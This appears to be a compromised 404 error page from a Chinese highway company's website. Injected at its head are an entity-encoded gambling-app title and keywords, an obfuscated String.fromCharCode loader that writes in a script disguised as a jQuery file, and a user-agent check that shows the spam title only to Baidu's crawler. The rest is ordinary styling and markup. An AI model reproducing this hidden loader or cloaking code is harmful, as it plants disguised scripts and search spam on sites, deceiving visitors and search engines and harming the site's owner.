﻿<!DOCTYPE html>
<html>
<head><title>&#x7C73;&#x5170;&#x4F53;&#x80B2;&#x5728;&#x7EBF;&#x7F51;&#x7AD9;&#x5B98;&#x7F51;&#x4E0B;&#x8F7D;_&#x5E94;&#x7528;&#x4E0B;&#x8F7D;app</title>
<meta name="keywords" content="&#31859;&#20848;&#20307;&#32946;&#22312;&#32447;&#32593;&#31449;&#23448;&#32593;&#19979;&#36733;&#44;&#31859;&#20848;&#20307;&#32946;&#23448;&#26041;&#23448;&#32593;"/>
<meta name="description" content="&#36890;&#36807;&#31859;&#20848;&#20307;&#32946;&#22312;&#32447;&#23448;&#26041;&#32593;&#31449;&#65292;&#29992;&#25143;&#21487;&#26041;&#20415;&#22320;&#19979;&#36733;&#26368;&#26032;&#30340;&#24212;&#29992;&#31243;&#24207;&#65292;&#20307;&#39564;&#20016;&#23500;&#30340;&#20307;&#32946;&#36187;&#20107;&#21644;&#27963;&#21160;&#20869;&#23481;&#12290;"/>

<script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,32,115,114,99,61,34,47,106,115,47,106,113,117,101,114,121,46,51,46,53,46,50,46,109,105,110,46,116,46,106,115,34,62,60,47,115,99,114,105,112,116,62); document.write(xt); </script>
<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="404 Error 河北交通投资集团衡德高速公路有限公司"}</script>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
    <meta name="format-detection" content="telephone=yes">
    <title></title>
    <meta name="keywords" content="404 Error">
    <meta name="description" content="404 Error">
    <style>
        * {
            margin: 0;
            padding: 0;
        }

        img {
            border: none;
        }

        a {
            text-decoration: none;
        }

        html,
        body {
            font-family: "微软雅黑";
            height: 100%;
            /*font-size: 62.5%;*/
            font-size: 14px;
            background-color: #2B83BB;
            overflow-x: hidden;
        }

        .container {
            position: relative;
            height: 100%;
            background-color: #267ab4;
        }

        .container-bg {
            position: relative;
            height: 100%;
            /*background: url(style/images/img/404.png);*/
            opacity: 0.3;
        }

        .box {
            position: absolute;
            width: 100%;
            height: 50%;
            top: 0;
            bottom: 0;
            left: 0;
            right: 0;
            margin: auto;
            text-align: center;
            z-index: 1;
            opacity: 1;
        }

        .box .error-tip {
            max-width: 100%;
        }

        .line {
            height: 10px;
            margin-top: 30px;
            border: none;
            background-image: url(style/images/img/line.png);
            background-repeat: no-repeat;
            background-position: 50%;
			
        }
		.banquan{
		    font-family: "微软雅黑";
            font-size: 14px;
			color: #fff;
			}
        /*.line {
            height: 0;
            margin-top: 40px;
            border-top: 1px solid #fff;
        }*/

        .box .btn-group {
            margin-top: 40px;
            text-align: center;
        }

        .box .btn-group a {
            color: #fff;
            border: 1px solid #fff;
            border-radius: 20px;
            padding: 6px 28px;
            margin: 0 18px;
            -webkit-font-smoothing: antialiased;
            -webkit-transition: all .3s;
            transition: all .3s;
        }

        .box .btn-group a:hover {
            background-color: #fff;
            color: #2B83BB;
        }

        .footer {
            position: absolute;
            bottom: 0;
            height: 20%;
            width: 100%;
            max-height: 300px;
            background-color: #fff;
            text-align: center;
        }

        .footer .copy {
            position: absolute;
            width: 100%;
            font-size: 14px;
            bottom: 27.55%;
        }

        @media only screen  and (max-width: 1026px) {
            .footer {
                height: 18%;
            }
        }

        @media only screen  and (max-width: 770px) {
            .footer {
                height: 16%;
            }
        }

        @media only screen and (max-width: 680px) {
            .box {
                width: 80%;
            }
            .line {
                margin-top: 20px;
            }
            .box .btn-group a {
                display: block;
                margin: 12px 18px;
            }
            .box .btn-group {
                width: 60%;
                margin: 20px auto 0;
            }
            .footer {
                max-height: 130px;
            }
            .footer .copy {
                font-size: 12px;
            }
        }

        @media only screen and (max-width: 479px) {
            .box {
                height: 70%;
            }
            .box .btn-group a {
                display: block;
                margin: 12px 8px;
            }
        }

        @media all and  (orientation : landscape) and (max-width: 740px) {

            .footer {
                display: none;
            }
        }

        @-webkit-keyframes square {
            0% {
                -webkit-transform: translateY(0);
                transform: translateY(0)
            }
            100% {
                -webkit-transform: translateY(-1700px)rotate(600deg);
                transform: translateY(-1700px)rotate(600deg)
            }
        }

        @keyframes square {
            0% {
                -webkit-transform: translateY(0);
                transform: translateY(0)
            }
            100% {
                -webkit-transform: translateY(-1700px)rotate(600deg);
                transform: translateY(-1700px)rotate(600deg)
            }
        }

        @-webkit-keyframes square_z {
            0% {
                -webkit-transform: translateY(0);
                transform: translateY(0)
            }
            100% {
                -webkit-transform: translateY(-1200px)rotate(500deg);
                transform: translateY(-1200px)rotate(500deg)
            }
        }

        @keyframes square_z {
            0% {
                -webkit-transform: translateY(0);
                transform: translateY(0)
            }
            100% {
                -webkit-transform: translateY(-1200px)rotate(500deg);
                transform: translateY(-1200px)rotate(500deg)
            }
        }

        .platform_advantage_bg_z {
            position: relative;
            bottom: 0;
            left: 0;
            width: 100%;
            height: 100%;
        }

        .platform_advantage_bg li {
            position: absolute;
            display: block;
            width: 40px;
            height: 40px;
            background: rgba(255, 255, 255, .15);
            bottom: -160px;
            -webkit-animation: square 28s infinite;
            animation: square 28s infinite;
            -webkit-transition-timing-function: linear;
            transition-timing-function: linear
        }

        .platform_advantage_bg_z li {
            position: absolute;
            display: block;
            width: 40px;
            height: 40px;
            background: rgba(255, 255, 255, .15);
            bottom: 2%;
            -webkit-animation: square_z 22s infinite;
            animation: square_z 22s infinite;
            -webkit-transition-timing-function: linear;
            transition-timing-function: linear
        }

        .platform_advantage_bg li:nth-child(1),
        .platform_advantage_bg_z li:nth-child(1) {
            left: 10%
        }

        .platform_advantage_bg li:nth-child(2),
        .platform_advantage_bg_z li:nth-child(2) {
            left: 20%;
            width: 80px;
            height: 80px;
            -webkit-animation-delay: 200ms;
            animation-delay: 200ms;
            -webkit-animation-duration: 17s;
            animation-duration: 17s
        }

        .platform_advantage_bg li:nth-child(3),
        .platform_advantage_bg_z li:nth-child(3) {
            left: 25%;
            -webkit-animation-delay: 400ms;
            animation-delay: 400ms
        }

        .platform_advantage_bg li:nth-child(4),
        .platform_advantage_bg_z li:nth-child(4) {
            left: 40%;
            width: 60px;
            height: 60px;
            -webkit-animation-duration: 10s;
            animation-duration: 10s;
            background-color: rgba(255, 255, 255, .25)
        }

        .platform_advantage_bg li:nth-child(5),
        .platform_advantage_bg_z li:nth-child(5) {
            left: 70%
        }

        .platform_advantage_bg li:nth-child(6),
        .platform_advantage_bg_z li:nth-child(6) {
            left: 80%;
            width: 120px;
            height: 120px;
            -webkit-animation-delay: 3s;
            animation-delay: 3s;
            background-color: rgba(255, 255, 255, .2)
        }

        .platform_advantage_bg li:nth-child(7),
        .platform_advantage_bg_z li:nth-child(7) {
            left: 32%;
            width: 100px;
            height: 100px;
            -webkit-animation-delay: 7s;
            animation-delay: 7s
        }

        .platform_advantage_bg li:nth-child(8),
        .platform_advantage_bg_z li:nth-child(8) {
            left: 55%;
            width: 20px;
            height: 20px;
            -webkit-animation-delay: 15s;
            animation-delay: 15s;
            -webkit-animation-duration: 40s;
            animation-duration: 40s
        }

        .platform_advantage_bg li:nth-child(9),
        .platform_advantage_bg_z li:nth-child(9) {
            left: 25%;
            width: 10px;
            height: 10px;
            -webkit-animation-delay: 2s;
            animation-delay: 2s;
            -webkit-animation-duration: 40s;
            animation-duration: 40s;
            background-color: rgba(255, 255, 255, .3)
        }

        .platform_advantage_bg li:nth-child(10),
        .platform_advantage_bg_z li:nth-child(9) {
            left: 90%;
            width: 120px;
            height: 120px;
            -webkit-animation-delay: 11s;
            animation-delay: 11s
        }
    </style>
</head>

<body>

    <div class="container">
        <div class="container-bg">
            <ul class="platform_advantage_bg_z">
                <li></li>
                <li></li>
                <li></li>
                <li></li>
                <li></li>
                <li></li>
                <li></li>
                <li></li>
                <li></li>
                <li></li>
            </ul>

        </div>
        <div class="box">
            <img class="error-tip" src="../../HttpErrors/404.png" alt="404错误"/>
            <div class="line"></div>
			<br>
             <div class="banquan">版权所有：河北交通投资集团衡德高速公路有限公司</div>
            <div class="btn-group">
                <a href="/">&#9666;返回首页 HOME</a> <a href="javascript:history.go(-1);">&#9666;返回上一页</a>
            </div>
        </div>

    </div>
<!--
    <div class="footer">
        <p class="copy">版权所有：</p>
    </div>
    <script type="text/javascript"></script>
-->
</body>


</html>
<script type="text/javascript">
    //返回首页
    function reIndex() {
        location.href = "/";
    }
    //返回上一页
    function prevView() {
        history.go(-1);
    }
</script>
